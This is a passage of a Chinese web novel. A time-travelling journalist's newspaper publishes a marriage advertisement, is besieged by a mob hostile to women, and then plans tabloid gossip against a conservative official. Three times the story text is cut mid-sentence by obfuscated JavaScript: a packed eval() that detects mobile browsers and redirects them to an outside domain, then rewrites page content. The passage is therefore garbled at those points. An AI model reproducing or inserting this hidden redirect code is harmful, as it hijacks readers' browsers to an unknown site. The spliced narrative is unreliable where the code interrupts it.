“所以我想,孟社长应是一位明辨是非、有胆有识的人。也正是因此,我才会将此事拜托给你。”盛催雪说,“若我不曾读到你的报道,我就永远不会发现,世上竟然有人的观念与我如此一致。” 孟允抒如醍醐灌顶。她险些忘了,新闻是引导舆论、传播思想的工具。 发布这则征婚广告后,固然会出现许多反对的声音,可同时也一定会存在支持盛催雪的人。既然她的行为没有错,那孟允抒所要做的事情就和以往没有任何不同,她只需要将正确理智的声音传达给读者。 “我明白了。” 孟允抒郑重其事地收好盛催雪给她的文稿,对她笑了笑:“既是如此,我会对姑娘鼎力相助。” 萧谨言见状也连忙表明态度:“还有我。” “知道你是为了盛姑娘。”孟允抒觉得萧谨言纯粹是来凑热闹的,“现在正事都谈完了,你有什么话就赶紧说吧。” “不,我不单是为了盛姑娘。”他反驳道,“起初我也是考虑到盛姑娘的名声才出言反对,但听了此事的内情和你们的交谈,我的想法有所转变。仔细想来,这些规矩设置得根本毫无道理,那我们就没必要再继续遵循。” 孟允抒不可置信地说:“这话居然是从你这个死脑筋的嘴里说出来的。” “我好歹是个活人。”萧谨言在盛催雪面前被人揭了短,恼羞成怒道,“在报社待了这么些日子,我也长了不少见识,怎么可能一成不变?” 孟允抒发现,新闻学果然具有神奇的力量。 32. 阻碍 按照孟允抒与盛催雪约定好的日期,那则征婚的消息顺利挂在了《黎民日报》的广告专版上。 盛催雪不愧是享誉京城的才女,上午报纸发行后没过多久,就已经有不少人认出她的文风,戳破了“郑姑娘”的身份。一石激起千层浪,刚过午时,城中就已经将此事传得沸沸扬扬。 因为报纸的销量暴涨,前来买报的顾客发疯似地涌进店铺。前店容纳不了这么多人,尽管孟允抒等人奋力维持秩序,还是有不少人被挤到了中庭和后院。 孟允抒声嘶力竭地喊了一早上,见中庭的顾客终于少了些,这才得空去办公室喝口水润润嗓子。 她感慨,这要是放到现代的网络媒体上,就相当于访客太多,把服务器挤瘫痪了。 “不好意思,借过。” “这位客官,麻烦让一下。” 孟允抒听见外面响起一连串道歉的声音,那声音伴随着脚步声由远及近,她率先做好准备,起身看向推开门的排云:“怎么了?” “社长,有人在会客室等您。” 排云没有像往常一样大声报出来者的姓名和目的,而是关紧了大门,快步走到孟允抒身边,和她耳语道:“是盛姑娘的父亲。” 孟允抒给对面的中年男子倒好了茶,笑容满面地说:“盛大人,请。” 盛老爷是个品级不高的小官,已经是五十多岁的年纪,但腰背挺拔,双目炯炯。与盛催雪不同,他气质儒雅,却总是一副不苟言笑的神情,因而看上去有些严肃和古板。 他看看面前冒着热气的茶水,嘴上向孟允抒道了谢,却并未伸手去端茶水,而是开门见山地说:“孟社长,今日我来是想恳请你撤掉小女在报上所登的广告。” 孟允抒装出一副犯难的表情:“报社刊登广告都需要提前排期,若要撤销就会打乱我们的计划,所以还请盛大人向我讲明缘由。” 盛老爷长叹一口气,无奈地摇了摇头。 “我和夫人成婚数年没有子嗣,在三十五岁时才得来催雪这样一个女儿,所以我们一家人都将她视作掌上明珠,什么事都依着她。她幼时见我读书写字,就也吵嚷着要学,我便将她带在身边亲自教习。” “后来她年岁渐长,心性也越来越野,完全没有半点闺阁小姐的端庄。都是我和夫人惯坏了她。”盛老爷懊悔地说,“催雪的声名远扬,甚至有人找到了我们府上。我和她娘担心她的安全,因此对她严加看管,防止她暴露身份。” 孟允抒点点头。正如萧睿言过去所说,盛催雪虽然出名,却鲜少有人能亲眼见到她。 盛老爷看了看窗外人声鼎沸的场面,做出一副头痛欲裂的表情:“可没想到,催雪竟然为了一个丫鬟捅出这么大的篓子来。” 他面向孟允抒,恳切地说道:“孟社长,催雪此举会让她身败名裂,你可不能由着她的性子胡闹。请您快些将广告撤下来吧。” “俗话说,‘可怜天下父母心’。盛大人爱女心切,我可以理解。”孟允抒先说了句场面话试探盛老爷的态度,“但盛姑娘已是成年女子,有能力也应当为自己的行为负责。如今她和报社的交易已成,我不能因为您一句话就毁约。” “孟社长误会了。”盛大人解释道,“我并非要求报社返还小女付给你们的银两,你们只需撤掉广告即可。那些钱就当作是给报社的补偿。” 孟允抒发现,虽然盛老爷的思想非常保守,但是个讲道理的人。 从她在这件事中所处的位置来讲,她作为一个外人来插手盛家的家事实为不妥,而且她也不可能靠三言两语就扭转盛老爷的观念。盛催雪比她还要能说会道,可她用了几年都没做成这件事。 与其和盛老爷争辩什么“婚姻自由”“解放思想”之类的问题,最终闹得双方不欢而散,还不如从不可更改的规则上拒绝他。 “不,盛大人才是误会了。”孟允抒笑道,“做生意最讲究‘诚信’二字,这是千金都难买的东西。我绝非是因为贪图钱财才拒绝撤销这桩买卖的。” 盛老爷沉默片刻,像是下定决心一般,再次向孟允抒提议道:“孟社长尽管开口,你需要多少银两才能撤掉广告?” 孟允抒摇头道:“盛大人,我方才说过了,这不是钱财的问题。我与盛姑娘达成的是你情我愿的交易关系,契约上白纸黑字写得清清楚楚,我不能擅自毁约。” 盛老爷脸色一沉:“那请孟社长告诉我,您要怎样才肯撤下这则广告?” “很简单,若是合作方主动提出不需要再刊登广告,那我们自然就会同他们解约。”孟允抒给出了一个解决办法,“也就是说,如果盛姑娘亲口要求我撤掉广告,我们就会照做。” 盛老爷和孟允抒都心知肚明,这种情况根本不可能发生。 盛老爷面露愠色:“孟社长,我对你以礼相待,但你却故意刁难我。” 他指责孟允抒道:“你明知道小女此举有辱她的名节,却依然和她达成交易。在黎民报社,难道你们丝毫不顾及公序良俗,只要给钱,无论什么文章都能见报?” 孟允抒笑了笑,语气却不容置疑。 “盛姑娘想为自己的贴身丫鬟寻一位良配,这无可厚非。从此事中,我只看到盛姑娘与初晴姑娘主仆情深,这违反了哪门子的‘公序良俗’?” “盛大人,您与我的看法并不一致,我不想同您争吵。若您执意要撤下这则广告,就请您回府,同盛姑娘好好谈一谈,兴许她还会听从您的命令。” “罢了。”盛老爷见状也没有再和孟允抒胡搅蛮缠,他起身拱手行礼道,“今日叨扰孟社长,实为抱歉。盛某告辞。” 孟允抒将盛老爷送至报社门口,望着他悻悻远去的背影,心里有些忐忑。 他与盛催雪血脉相连,即使他再怎么生气,也不会对盛催雪造成实质性的伤害。盛老爷这关相对好过,旁人对盛催雪攻击的激烈程度却是他的千万倍。 她耳畔的那些流言蜚语中就是最佳证明。 待到黄昏时分,夜市纷纷开了门,报社才迎来了今日的首个客流低谷期,闲言碎语减少了大半。 盛催雪也趁着这个机会,带着初晴从后门来到了报社。 “孟社长,今日情况如何,可有人往报社寄信?” 孟允抒看她一脸欣喜和期待的模样,好像今日的动乱与她毫无干系一般。 她甚至还有闲工夫将一盒她刚买的香丸塞给孟允抒。 “没有。”孟允抒将她今日的见闻如实相告,“大部分民众的态度都是好奇观望,没有人敢贸然出头。” “哦,正常。”盛催雪若无其事地喝了口茶,对孟允抒笑笑,“劳烦孟社长明日接着发广告。” 孟允抒想起中午盛大人的来访:“盛姑娘,你父亲那边怎么说?” 盛催雪摆摆手说道:“别提了,他今日听闻此事后,特地从官府赶回来将我骂了一顿,非要让我来找你撤下广告。我不依他,他就把我锁在房内,也不许旁人给我送饭。” 孟允抒看着面前活蹦乱跳的盛催雪:“那你是怎么出来的?” “从我十岁起他就用这招,这点问题根本难不住我。”盛催雪说起她接下来的计划,“最近一段时间我不打算回去了,省得他唠叨得我心烦。正好我还能趁机在外面玩上一阵子。” 孟允抒觉得,盛催雪有这样的心态,即使遇上网络□□也根本不会败下阵来。 说到玩,盛催雪眼前一亮,像是突然想起来什么似的看向孟允抒:“孟社长,你帮了我的大忙,我又对报社事务感兴趣,反正近日我闲来无事,不如让我在你的报社中帮工吧?” “那怎么行?” 孟允抒大惊失色,她发现盛催雪简直想一出是一出,玩心大发的时候无所顾忌:“你现在可是全京城的焦点人物,有多少双眼睛盯着你,你怎么还敢公然在报社露面?” “城里又没几个人见过我,再说了,‘灯下黑’的道理你我都明白,我藏身此处反而不容易被人发现。”盛催雪据理力争道,“而且我只会在报社客人较少的时段前来帮忙,我保证待在室内不出来,这样如何?” “那也不成。”孟允抒断然拒绝,她指着桌上堆积如山的纸业说道,“报社中的事已经够多了,我——” 她一句话还没说完,突然意识到盛催雪简直是送上门来的金牌员工。 早期孟允抒成立报社时,因资金不甚充裕,只招了不到二十个成员。现今报社声名远扬,她也是时候着手扩充员工数量。若她能成功让盛催雪对报社工作产生热情,将其挽留下来,那盛催雪绝对能成为她的又一得力干将。 综合分析盛催雪的个人条件和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛催雪扭头看去,这才发现萧谨言一副深受打击的模样,失魂落魄地靠在椅背上,神情恍惚,连目光似乎都失了焦,不知道在看些什么东西。 “不至于吧。”盛催雪匪夷所思地说,“我也没说什么重话。” 和她火力全开的时候比,盛催雪给萧谨言的评价确实已经算是嘴下留情了。 但既然孟允抒这么说了,无奈之下,盛催雪只得好声好气地安抚萧谨言:“萧主编,其实你的文章也有可取之处。你看,你的文风细腻婉约……” 萧谨言全然不信盛催雪的夸赞,神情哀伤地说道:“我知道姑娘只是说些好话宽慰我罢了,你不必为了顾及我的心情而吹捧我。” 盛催雪赶忙解释道:“并非如此,我确实认为此文有可圈可点之处。” “姑娘不必瞒我,我有自知之明。”萧谨言依然沉浸在悲痛与自贬的情绪中,黯然神伤道,“我也知晓这样的性情只会讨人嫌,但我改不了,姑娘也一定对我心生厌弃。” 孟允抒眼见着盛催雪眉心的疙瘩又耸了起来,她心道不妙,却没来得及阻拦她的怒火。 “这也不成,那也不行,你究竟要我如何说你才满意?” 盛催雪的耐心显然已经被消磨殆尽,萧谨言见状更是难过,一开口就带上了颤音。 “看我说什么来着,你果然嫌我烦。” 孟允抒忙了一整天,已经是心力交瘁。面对眼前的鸡飞狗跳,她实在没力气再处理他们之间的矛盾。 她怎么会想到让这两个人共事? “社长,今日……” 一道平稳的女声响起,孟允抒像是抓住救命稻草一般,拽着秋盈就出了门:“我们出去说。” 她飞也似地逃离了那个是非之地,这才问秋盈道:“你找我有什么事?” “今日报社客流激增,我发现其中部分客官形迹可疑,但报社中并未有财物丢失的情况。” 秋盈向孟允抒讲述了详情:“据我亲眼所见,加上社中伙计也有反映,那些人曾在报社中到处打转,像是在探查什么情况。” 此事听起来确实蹊跷,孟允抒一时想不到这些人的目的,只能先叮嘱秋盈,让伙计们加强安保,注意警戒。 她凭直觉作出了一个猜测。此事恐怕与这则征婚广告有关。 33. 偏见 翌日一早,孟允抒同秋盈像往常一样,在离报社不远处下了马车。 但她发现,今日报社前的景象显然非同寻常。 此时还不到卯时,正是民众起来劳作、前往上工的时间。平日里这个时候的报社堪称门可罗雀,而此时报社前的空地上却挤满了人,有相当大的一部分人甚至占据了街道的空间。 台阶上站着两个昨晚负责值夜的伙计,神情焦躁,似乎在向他们解释着什么。 秋盈惊诧道:“盛姑娘的名气竟然有如此威力?” 孟允抒也抱有同样的疑问。 昨日是征婚广告的首发日,黎民报社人山人海实属正常现象,可按理来说,新闻一旦过了夜,热度就会骤然下跌,他们就算再关心盛催雪的八卦,也不至于一大清早就凑在这里。 孟允抒快步上了台阶,还没等她发问,一名伙计就如释重负地说道:“社长,秋掌柜,你们可算来了!” 他看看面前的众人对孟允抒说:“这些人从半夜起就站在这了,吵着闹着要见您和秋掌柜。我和他们说您不在,让他们早上再来,可没人听我的,问他们要干什么,他们也不说。” 胤朝的夜市很是繁华,孟允抒估摸着,这些人八成是晚间从食肆、酒肆等店铺出来后就等在这里,熬了个通宵。 为了不影响报社经营,孟允抒面向众人,压下他们交头接耳的声音:“感谢诸位客官莅临黎民报社,我们对各位的热情不胜感激。我便是你们要找的孟社长,旁边这位姑娘是秋掌柜。” 一席话如同重磅炸弹被投进了人群之中,迅速掀起连天的波澜。 “黎民报社果真是掌握在几个女子手中!” “《黎民日报》原来是女子所办!” “身为女子却在外抛头露面,做的还是这种勾当,真是恬不知耻!” “怪不得盛催雪的广告能够见报!” 无数谩骂如狂怒的潮水般向她们两人袭来,羞辱与指责将孟允抒淹没,一直漫过她的头顶,几乎让她产生了溺水般的窒息感。 这是赤裸裸的,不加丝毫掩饰的恶意。 此刻孟允抒明白,这些客人并非是单纯为了那则征婚广告而来。 她奋力大喊着,试图先让这群人的情绪稳定下来:“诸位客官,有话我们可以好好说,何必如此大动干戈,伤了和气!” 然而这些人显然已经在冲动的裹挟下丧失了理智,甚至有些人从路边拾起石块、木棍之类的东西砸向她们,还有几人不停地向她们吐口水。 秋盈和两名伙计见势不妙,迅速转身推开前店的大门,拽着孟允抒躲了进去,又赶紧把门闩插上。 门外的客人并未罢休,他们见到两人的行为只当是她们做贼心虚,更是发疯似地涌到店门外,卯足全力想要冲破大门。 “这会知道害怕了?要想人不知,除非己莫为!” “你们都干出这么不检点的事了,还装什么良家妇女?” 他们拍打大门的声音如同狂风骤雨一般,污言秽语伴随着它们在孟允抒耳畔不住炸响,四人连忙搬来重物顶住大门,这才使店门不再像刚才那般摇摇欲坠。 面对意外状况,两名伙计赶紧说道:“社长,我们去报官。” “等等。”孟允抒截住两人的脚步,“你们其中一人去报官就行了,另一人去报社职员上工时的必经之路上守着,告诉他们从后门进来。” 秋盈望了一眼门外纷乱的虚影,即使是衙役也不可能把这么多人抓走,这些人一时半会也无法冷静下来。 她询问孟允抒的意见:“我们接下来该怎么办?” “暂停营业,静观其变。”孟允抒作出决断,“你随我到办公室来。” 孟允抒让秋盈坐下,给她倒了杯茶:“你先喝口水压压惊。” 孟允抒有任职记者的经验,也是经历过大风大浪的人,即便如此她在面对这种大规模的尖锐恶意时,依然觉得不寒而栗。秋盈是土生土长的胤朝人,面对这种性别偏见,她应当会比自己受到更深的伤害。 不过,秋盈的反应却并不像孟允抒想象的那样低落。 “这些言论从我们办报的那一天起就从来没停过,我早就对此种现象习以为常。”她抿了口茶,放下杯子说道,“但我没想到今日会忽然有这么多人来报社宣泄不满。” 孟允抒也觉得这一切都来得太过突然,于是她陷入沉思,试图从之前的事中查找蛛丝马迹,作为证据串联起今天的事件。 “对了。”一道灵光从孟允抒脑内闪过,她看向秋盈说道,“昨日晚间你曾告诉我,报社有人形迹可疑。” 秋盈顿时理解了孟允抒的意思,惊异地说道:“他们在探查报社成员的情况?” 孟允抒点点头,却陷入了新的疑问。 “他们的目的是什么?”孟允抒分析道,“如果说是同行恶意竞争,借此机会对报社进行打压,那他们的反应速度未免太快。” 昨日上午孟允抒才发布征婚广告,从他们想到这个计谋到纠集人手,再到引导舆论造势,她找不出有哪家书肆拥有这样的能力。 在排除了所有的可能性后,秋盈沉默片刻,轻轻地说了一句话。 “最可怕的一种解释是他们没有目的。” 孟允抒在心中为秋盈的这句话补上了后半句。 他们是发自内心地对女子抱有偏见。 此前在报社名气不大时,就时常有人来找她们的麻烦,但因为闹事的人较少,也没有太多人关注社长的身份,孟允抒可以轻松摆平。 但这次显然不一样,黎民报社的名气本来就日渐增长,盛催雪发布的征婚广告更是压死骆驼的最后一根稻草,吸引巨大客流的同时也让他们注意到了这间报社的不同寻常之处。 职场中的性别歧视一直都存在,但相比于现代,胤朝人对于女子经商的反应显然还要激烈得多。 孟允抒险些忽略了这一点。 眼下的境况让她不由得联想到许昭几日前同她的对话。 许昭致力于建设一个人人平等的社会,使人们不因出身、性别而受歧视。他的观念太过超前,又触动了不少人的利益,所以他提出的建议被保守派打压,双方各执一词,局势胶着。 如今看来,偏见与歧视在人们的脑海中确实根深蒂固。朝中的政治博弈往往是牵一发而动全身,恐怕正是因为这种局面,皇上才迟迟不下决断。 孟允抒望向她桌上层层堆叠起来的报纸。 新闻正是传播思想的工具。 “外面那些人是不是都疯了?” 孟允抒抬头,一名前来上工的女编辑咬牙切齿地骂了几句,她后面的那名女探官则担忧地问道:“社长,我们今日还开选题会吗?” 显而易见,他们今天肯定是无法正常营业了。 “开,当然要开。”孟允抒笃定地说,“但我们需要换个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564700|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形式。” 待到报社全员都已经到齐,孟允抒叮咛了职工几句,首先带领报社的所有女性编辑与探官进了采闻堂。 孟允抒在长案的最前方落了座,看向分坐在两旁的众位女子。 “各位姐妹,既然我们遇到了此番意外状况,所以今日的选题会也不同以往。在全员会议之前,我想先召集各位讨论此番危机的应对之策。” 她这句话刚一落音,堂内便响起此起彼伏的喧哗,每个人的脸上都义愤填膺。 盛催雪昨天刚刚得到孟允抒的准许来报社帮工,正是劲头十足的时候,她今天特意起了个大早来上工,却发现报社因为那些舆论的冲击被迫关门,心里烦闷不已,一腔怒火无处宣泄。 她挽起袖子,带着一副想刀人的表情说道:“要我说,对付这帮人最好的办法就是以牙还牙。不占理的分明是他们,我们却要在这受窝囊气!” 孟允抒欣赏盛催雪这种直率无畏的性情,但她的办法并非上策。 “我知道各位心里都憋着火气,但还请诸位听我一言。”孟允抒适时地开口维持秩序,“即使我们能让这些人闭嘴,可京城这么大,我们不可能让所有人都对此事绝口不提。所以,我们必须从根本上解决问题。” 她轻叩着桌子说道:“我们同为女子,自然最清楚女子方方面面的难处。眼下我们只需要做一件事,即有理有据地反击性别偏见,向世人传达我们的态度,驳斥那些腐朽不堪的观念。诸位若是有什么好点子,可以畅所欲言。” “这事简单。”盛催雪往椅背上一靠,环视着堂内的女子说,“黎民报社人才济济,在场的诸位姐妹中有哪个不是才华横溢,写几篇论证的文章根本不在话下。” “这种方法不错,但尚有缺陷。”一直在旁边沉默不语的秋盈突然发了话,“我们若是在报上发文,读者对这件事的关注点依然会停留在报社成员与世俗舆论的对抗上,而非‘女子并不逊于男子,理应享有同等权利’。” 她继续说道:“况且,我们报社一共就这些人,比起那些庞大的反对声浪,我们未免显得势单力薄。” 因为报社今日的意外状况,孟允抒开了特例让秋盈参加会议,但没想到她会主动发言,甚至敢于反驳别人的意见。 秋盈已经完全没有当初那副恪守陈规的样子了。 孟允抒笑着问她:“秋掌柜有何高见?” 秋盈听出她揶揄的口气,佯装生气地瞪了她一眼,转而正色道:“或许我们可以将眼放宽些,借助更多女子的力量。” 接着她提出了具体做法:“在这段时间内,我们可以在报纸上开辟一个专栏,针对此番风波与世俗偏见公开向民间女子征稿,如此一来我们就能让众位女子从不同视角反击世俗偏见,也有利于增加我们的支持者数量。” 堂中响起一阵窃窃私语,众人都纷纷点头,向秋盈投来赞许的目光。 “这个主意好。”盛催雪拍手称快,兴致高昂地说,“此事因我而起,我应当对此负责,由我来打头阵。第一篇文章就署我的名字。” 盛催雪此刻可是京城热议榜上的头号人物,凭借她的名气,孟允抒根本不愁她的文章无人问津。 而且,她也不介意把气氛炒得更热烈些。 “既然如此,我们就行动起来吧。”孟允抒采纳秋盈的建议,动员各位探官和编辑,“接下来我们进入下一个议题,即征稿公告的具体内容。” 34. 破局点 今天轮到秋盈值夜,孟允抒下工后就只身一人返回了许府。 由于情况特殊,今日报社的事务比平时减少许多。孟允抒跨进许府的大门时,天色还没有暗下来的迹象。 按时间推算,此时许昭应当已经散值归来。 她蹑手蹑脚地走到书房外,想突然蹦出来吓许昭一跳,却听得里面传来响亮的说话声。 “许大人,陛下和朝中列位大人都知道你刚正不阿,念及你屡破重案,这才同意你的提议,为寒门学子施以援手。可你倒好,不知满足,得寸进尺!” 书房的大门虚掩着,孟允抒悄悄上前,透过门缝察看书房内的情况。 许昭与另外一人相对而坐,那人背对着孟允抒,她无法看清对方的面容,只能从背影和他的声音分辨出这是个中年男子。 从他说话的语气上来看,他和许昭的交谈并不愉快。 那人愤怒地拍着桌子,杯中的茶水都被他震得洒了出来:“你听听你说的都是些什么话,提高女子地位,鼓励她们读书、立业,甚至还让陛下允许女子入仕,简直胡闹!” 许昭则气定神闲地反问他:“这又不是什么荒诞不经的言论,大人为何说我胡闹?” “女子只要操持好家务即可,她们哪能懂得治国理政之道?” 许昭沉默片刻,像是在思考对方的这句话。 “这话说得真是奇怪。许多女子生来就被迫遵循三从四德,她们从未读过书,又何来政治才能?” 许昭皱起眉头,不解地问道:“莫非大人生来就有经天纬地之才,不用读书就能对治世之说侃侃而谈?若大人有这般奇才,为何从未有一人对此称道?” 那人被许昭的话噎得无言以对,气得浑身颤抖:“你——” 孟允抒在门后憋笑憋得辛苦。 许昭性格耿直,说话从来不会拐弯抹角,可正是因为他的疑问发自肺腑,让人听来更像阴阳怪气,嘲讽力度极强。 话不投机半句多,那位来客与许昭爆发了激烈的争吵,而后用一句话作为结尾,站起身说道:“许大人,你若是一意孤行,只会成为众矢之的!” 许昭见他有告辞之意,也随他起身,将对方送往门口:“多谢程大人提醒,但我心意已决。” 孟允抒见两人朝自己这边走来,赶紧下了台阶,装作无意间从院中经过的样子。 她一抬眼便对上了程大人的视线,他气势汹汹地往门外走,只是用余光瞥见了孟允抒。他走得匆忙,两人互不知晓对方的身份,便只是向彼此行了个常礼。 许昭看到孟允抒顿时喜上眉梢,他先请她进了书房,待许昭送客归来后又快步赶往书房。 孟允抒坐在桌前翻看许昭放在一边的书本,将杯中凉茶一饮而尽:“最近这天气真是愈发燥热,连坐着不动都要出一身的汗。” 许昭见孟允抒口渴,接过她的杯子又给她倒满了水:“所幸今年的收成不错,城中到处可见卖瓜果的商贩。” 说着,他叫来一个小厮吩咐道:“你去告诉伙房的人,让他们把我方才买的西瓜切了。” 孟允抒在一旁补充道:“为我们端来一盘就行,余下的你们自己分了。” 天气这么热,打工人何苦为难打工人。 小厮得了令,眉开眼笑地跑了出去。 许昭在孟允抒身旁坐下,笑容满面地问她:“你今日怎么回来得这么早?” 这次孟允抒没有瞒他,将近日报社中发生的事一五一十地告诉了许昭。 见许昭的神色转为担忧,孟允抒又宽慰他道:“你不必为此事忧虑,我已经和报社中的诸位姐妹商讨出对策,假以时日定能平息事态。” “我不单是为报社的事发愁。”许昭摇头道,“只是从民众的态度来看,旧党的理念真是深入人心。如此一来,想要推行变革之策实属不易。” 民间舆论会影响官方政策。 而反过来讲,官方态度又会引导民众思想。 在变革派的势力壮大之前,朝廷中的主流声音就是“守旧”,认为传统的就是最稳妥的,一切遵循旧制,甚至在部分观念上还要倒退回几百年前,譬如依照人的身份建立等级森严的制度,以此约束人的行为;秉持迂腐古板的道德观念,主张“男主外女主内”的传统家庭模式;为表孝心,婚姻应当全权交由父母定夺等。 当然,在孟允抒看来,这些观念已经是烂在历史尘埃里的裹脚布了。 她想起刚才那个与许昭产生争执的男子,便顺口问道:“方才那位大人就是旧党的人?” “不止。他可谓是旧党的主心骨。”许昭露出不悦的目光,毫不掩饰他对那人的不满。 “从前你不曾见过他,但一定听过他的名字。”许昭看向孟允抒说道,“他就是程玄平。” 许昭没有添加任何多余的介绍,但因为此人在全国上下都是鼎鼎有名的人物,孟允抒没费太大力气,便在记忆中找到了他的行为与成就。 过去在守旧言论甚嚣尘上的时候,程玄平曾经单独开创了一门名叫“礼道”的学说,其内容涵盖了所有保守派的理念诉求,因此他的学说成了这一派别的核心思想,而他本人也一跃成为了保守派的中流砥柱。 孟允抒回忆着程玄平著作中的内容,眉头比方才的许昭还要皱得高些。 这人简直就是个顶级老封建,可他的学说却在朝堂上大行其道。因为前些年保守派的势头正盛,如许昭所说,民众也深受这些思想的荼毒。 水能载舟,亦能覆舟。在民间这样的氛围下,即使是皇上也不敢轻易提出变革。可这样一来,保守派就能始终占据上风,反过来继续影响民众的思想。 这就是恶性循环。 许昭也深知这一点:“若是无人站出来反对他们,待到旧党只手遮天时,只会出现民不聊生的惨剧。” 孟允抒早就与许昭心意相通,她当然明白,许昭所持的观点和程玄平截然相反。从程玄平的视角来看,许昭字字句句都在同他唱反调。 孟允抒想起方才程玄平跳脚的模样,又不免觉得有些好笑:“难怪他会对你的提议大力谴责。” 程玄平现任参知政事,在朝中居于副相之位,许昭作为五品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573794|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官员,能惹得程玄平这样一个二品大员跑到家里来骂他,真不知道该说许昭胆大包天还是他本领过人。 许昭愤愤不平地喝了口茶,似是要压下心中的愤怒:“别人都说‘宰相肚里好撑船’,我都没说他几句,他却如此小肚鸡肠,竟然亲自来到府中兴师问罪。” 看来许昭显然没有意识到他独特的社交才能。 孟允抒笑得前仰后合,打趣般地安慰着许昭:“我知道你心里委屈,那由我来帮你出口恶气如何?” 许昭闻言放下杯子,好奇地看着孟允抒:“你打算怎么做?” “他这样小气,就该让大家都知道,为你评评理。” 孟允抒想了想,倒还真生出一个主意。 她问许昭:“据你所知,程玄平此人可有什么为人诟病的行为或过往?” 许昭略一思忖说道:“他身上的污点多如牛毛,可若是落到事迹上,其中有许多都是传言,我无从查证其是否属实。” 孟允抒对许昭露出一个自信的微笑,胸有成竹地拍拍许昭的肩膀:“公子尽管放心地讲,你可别忘了我是做什么的。” 许昭了然地笑笑,接着像是宣泄情绪一般,滔滔不绝地讲了一箩筐关于程玄平的八卦。 孟允抒心满意足地收下这些小道消息,什么私生活混乱、仗势欺人、好大喜功,一条比一条劲爆。 其实这些事情放在旁人身上也顶多算是个娱乐新闻,但对于程玄平来说,正是他的学说将这些问题的严重性抬升到了一个不应有的高度。 一道灵光倏然从孟允抒的脑海中闪过,她激动地攥住许昭的衣袖说:“公子,这是个好机会!” 许昭一头雾水:“什么好机会?” “程玄平最推崇礼法约束,整日将那些所谓的秩序道义挂在嘴边。”孟允抒语速飞快地解释道,“若我们能够证实他并非平日所展现出来的那般高风亮节,就连他本人都与自己的理念背道而驰,那他的学说定然会惹人非议。” 对于其他旧党人员也一样。 许昭恍然大悟:“这样就可以打破现下的这种僵局。” 孟允抒狡黠地笑了笑:“没错。” 这招非常阴险,而且上不得台面,但胜在效果绝佳。 俗话说好事不出门坏事行千里,只要孟允抒率先爆料这些事,不出一日,流言就能传遍整座京城。 接着,旧党在民间的公信力就会迅速下降,他们的嚣张气焰亦会受到打击,至少短时间内他们都不敢在朝堂上太过放肆。 与此同时,黎民报社通过征稿或许能够唤醒一阵新思潮,许昭也能以此为例,趁旧党消停的时候再次进言,论述变革的可行性。 若是计划能够顺利开展,他们眼前所遭遇的挫折反倒成了垫脚石。 孟允抒和许昭就这个想法详谈了一番,最终达成一致。 许昭嘱咐孟允抒:“你一定要小心,不要暴露了自己的身份。” “放心。” 孟允抒握住许昭的手笑道:“今日报纸销量下滑得厉害,正巧我们可以趁机换个方式赚钱。” 35. 曙光 从许昭那里获取到几个旧党重要人物的名单与相关情报后,孟允抒将其带往报社,在选题会上发表了自己的想法。 因为报社受到舆论的冲击,作为主要销售力量的店面被迫关闭,昨日《黎民日报》的销量严重下跌。 针对这种情况,孟允抒索性决定新增一种报纸形式。 她丢掉了平日他们所用的版面格式,让他们的报纸回归小报的原生态,纸张也换成最次等的那种。 经过这样的改造,他们的报纸就和随处可见的民间小报并无区别了。 正是如此,这种报纸才符合它的用途——承载八卦。对于这种偏向娱乐性质的新闻,严谨性倒是其次。只要孟允抒能将这些官员不为人知的一面捅出去,自然会有好事的人去查证这些消息的真实性。 最重要的是,面对这种来路不明的民间小报,即使是朝廷要员也无从查证消息的源头,孟允抒可以从中全身而退。 孟允抒的提案在会议上通过后,她自己率先试水,拿旧党领袖程玄平开刀,按系统给出的线索调查后发现,这人身上的瓜可是一个比一个炸裂,单论“他与多个下人有染,且男女不忌”这一条消息,就足够他喝上一壶了。 报社的诸位成员赶在第一线吃瓜现场,听闻孟允抒带来的消息后惊异不已,萧谨言的眼珠子都快被他瞪得掉了出来。 “程大人被那么多人尊称为先生,他著书立传,平日总是不苟言笑,他私底下竟然会做这等伤风败俗之事!” 起初就连孟允抒自己都不敢相信这些事居然发生在程玄平身上,这么个严肃古板的半百老头,在人背后居然玩得这么花。 “独乐乐不如众乐乐,此等秘辛若是只有我们知晓,岂不可惜?”孟允抒看看瞧新鲜的职工,吩咐他们道,“近日报社无法开店,你们平日无事时可以多在城中跑跑,沿街叫卖小报。若是见到官员巡街或其他可疑人等,一定要避其锋芒。” 接着,孟允抒又特地吩咐排云,想办法给程玄平的夫人送一份小报。 狗血新闻的传播速度往往是最快的,这些消息一经散布,热议便迅速从报社内部蔓延至整个京城。 程玄平的妻子得知此事后,将家中搅了个天翻地覆,程玄平后院起火,又为他人耻笑,自然也顾不得朝中政事,向皇上告假宣称要处理家事,待在府中避起了风头。 孟允抒见这招效果甚好,于是趁热打铁,让报社的探官们赶紧往这锅粥里多加几剂猛料。 不出五日,旧党的声音就小了下去。 